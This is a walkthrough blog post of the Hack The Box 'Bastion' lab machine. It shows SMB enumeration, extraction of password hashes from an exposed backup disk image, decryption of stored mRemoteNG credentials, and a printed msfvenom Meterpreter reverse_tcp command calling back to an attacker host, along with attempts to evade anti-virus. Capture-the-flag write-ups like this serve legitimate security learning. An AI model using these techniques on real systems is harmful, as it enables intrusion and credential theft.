Bastion HTB Walkthrough

Walk through of the Bastion machine from Hack The Box

Key Findings

  • Production backup data was left un-encrypted and exposed to the public. This was able to be used to derive initial system credentials and obtain initial access. Access to this type of data should not be made available to the public and should be stored encrypted.
  • Privileged credentials were left stored in a non-secure manner. These could be extracted and used to obtain privileged access to the system. Appropriately secure methods should be used to store privileged credentials.

Scanning & Enumeration

Nmap was used to complete an initial scan of the host (command: nmap -A -T4 10.10.10.134). Amended outputs shown below, key items highlighted. Scan shows reported instances of:

  • SSH: Reported instance of OpenSSH for Windows 7.9
  • SMB: Reported instance of Windows SMB

The host is also reported as running Windows Server 2016 Build 14393.This places the server as using code from late 2016. Additionally, the server is reporting a noticeable clock-skew, which indicates possible time source misconfiguration.

<SNIP>
22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
<SNIP>
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
<SNIP>
|_clock-skew: mean: -39m59s, deviation: 1h09m14s, median: -1s
<SNIP>

SMB

Enumerating the identified SMB share (command: smbmap -H 10.10.10.134 -u guest) identifies a custom share (Backups) which is accessible. It also shows the C drive is available as a share but not currently accessible using guest credentials.

smb: \> dir
<SNIP>
  note.txt                           AR      116  Tue Apr 16 20:10:09 2019
<SNIP>
  WindowsImageBackup                  D        0  Sun Jul 28 14:05:58 2019

		7735807 blocks of size 4096. 2779978 blocks available
smb: \> get note.txt
getting file \note.txt of size 116 as note.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

Reading the note.txt file advises: Sysadmins: please don’t transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

Digging further into the backups share shows copies of VHD (Microsoft Virtual disk). The share also contains multiple XML files which appear to be associated with the Windows backup process. Analysing the XML files does now show any obvious information of interest.

smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir
<SNIP>
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd      A 37761024  Fri Feb 22 23:44:03 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd      A 5418299392  Fri Feb 22 23:45:32 2019
<SNIP>

Attempting to access the VHD files fails. As per the contents of note.txt the network connection to the device is likely unsuitable to attempt downloading the whole files. Attempting to work around this by limiting the speed of the file transfer was not successful.

smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> get 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
parallel_read returned NT_STATUS_IO_TIMEOUT
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> getting file \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd of size 5418299392 as 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd SMBecho failed (NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now

Following research an alternative strategy to access the data was devised. First the backup share was mounted directly on the filesystem (command: mount -t cifs -o username=guest //10.10.10.134/backups backups/) then the VHD file was mounted directly using guestmount (command: guestmount –add “/root/Documents/Bastion/backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd” –inspector –ro /root/Documents/Bastion/vhd/ -v)

After running both commands the larger of the two VHD files was then directly accessible.

root@kali2019:~/Documents/Bastion/nmap# df -h
Filesystem              Size  Used Avail Use% Mounted on
//10.10.10.134/backups   30G   19G   11G  65% /root/Documents/Bastion/backups
/dev/fuse                15G  7.4G  7.6G  50% /root/Documents/Bastion/vhd

From manually reviewing the file system no alternative files of use were immediately identified. Copies of the following registry hives were extracted for offline analysis.

  • NTUSER.DAT (found in c:\Users\ L4mpje)
  • SYSTEM (found in c:\Windows\system32\config\SAM)
  • SAM (found in c:\Windows\system32\config\SAM)

Dumping contents of NTUSER.DAT using regripper did not yield any information of immediate interest.

Analysing the SYSTEM and SAM files (command: samdump2 SYSTEM SAM) provides the username and password hashes.

*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

Analysis of the results shows:

  • Valid usernames from the backup image are Administrator, Guest & L4mpje
  • No LAN Manager (LM) passwords are being stored. Hash value aad3b435b51404eeaad3b435b51404ee represents an empty value. This is consistent with the earlier reported version of Windows.
  • Passwords for the Administrator account does not appear to be stored in the extracted file (31d6cfe0d16ae931b73c59d7e0c089c0 is an empty/default value)
  • Password for user L4mpje is bureaulampje. Listed NTLM hash cracked using Hashkiller (https://hashkiller.co.uk/Cracker/NTLM)

Gaining Access & Privilege Escalation

SSH

Identified credentials can be used to login via SSH & SFTP to the OpenSSH instance.

SFTP 
root@kali2019:~/Documents/Bastion# sftp L4mpje@10.10.10.134
L4mpje@10.10.10.134's password:
Connected to L4mpje@10.10.10.134.
sftp>

SSH

Microsoft Windows [Version 10.0.14393]                                                                                          
(c) 2016 Microsoft Corporation. All rights reserved.                                                                            

l4mpje@BASTION C:\Users\L4mpje>    

User.txt found on desktop of L4mpje. Confirmation shown below.

Attempting to enumerate further in the system encounters multiple permission denied errors. This suggests the logged in as user has a low level of available privileges.

l4mpje@BASTION C:\Users\L4mpje>systeminfo                                                                                       
ERROR: Access denied          

After manually enumerating installed programs mRemoteNG stands out of interest. Tool is used to remotely access server resources and is suggested to store credentials in an insecure manner. Credentials for application noted as being stored in file confCons.xml. Copy of the confCons.xml file obtained from %USER%/AppData/Roaming/mremoteng/confCons.xml and reviewed.

Two items of interest found from reviewing file are below. File appears to store RDP credentials for user Administrator and L4mpje.

<SNIP>
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP"
<SNIP>
<Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostname="192.168.1.75" Protocol="RDP"
<SNIP>

Multiple methods of extracting passwords reviewed. Final solution chosen was downloading a current copy of mRemoteNG onto a local machine and using it to extract passwords.

Importing the confCons.xml file into mRemoteNG shows it is not password protected.

Guide at http://hackersvanguard.com/mremoteng-insecure-password-storage/ followed and Administrator password successfully extracted.

Root.txt located on desktop of Administrator user.

Post Exploitation

To support post exploitation activities a Meterpreter payload was generated (command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.247 LPORT=5722 -f exe -o 5722.exe) and loaded onto the machine using the Administrator account via SFTP. 

Attempts to trigger the payload failed. Analysis of the error message indicates it has encountered a system anti-virus restriction.  The following items were attempted and failed:

  1. Loading a generic msfvenom playload
  2. Loading a generic msfvenom payload encoded using msfvenom
  3. Loading a custom veil generated payload

Leave a Reply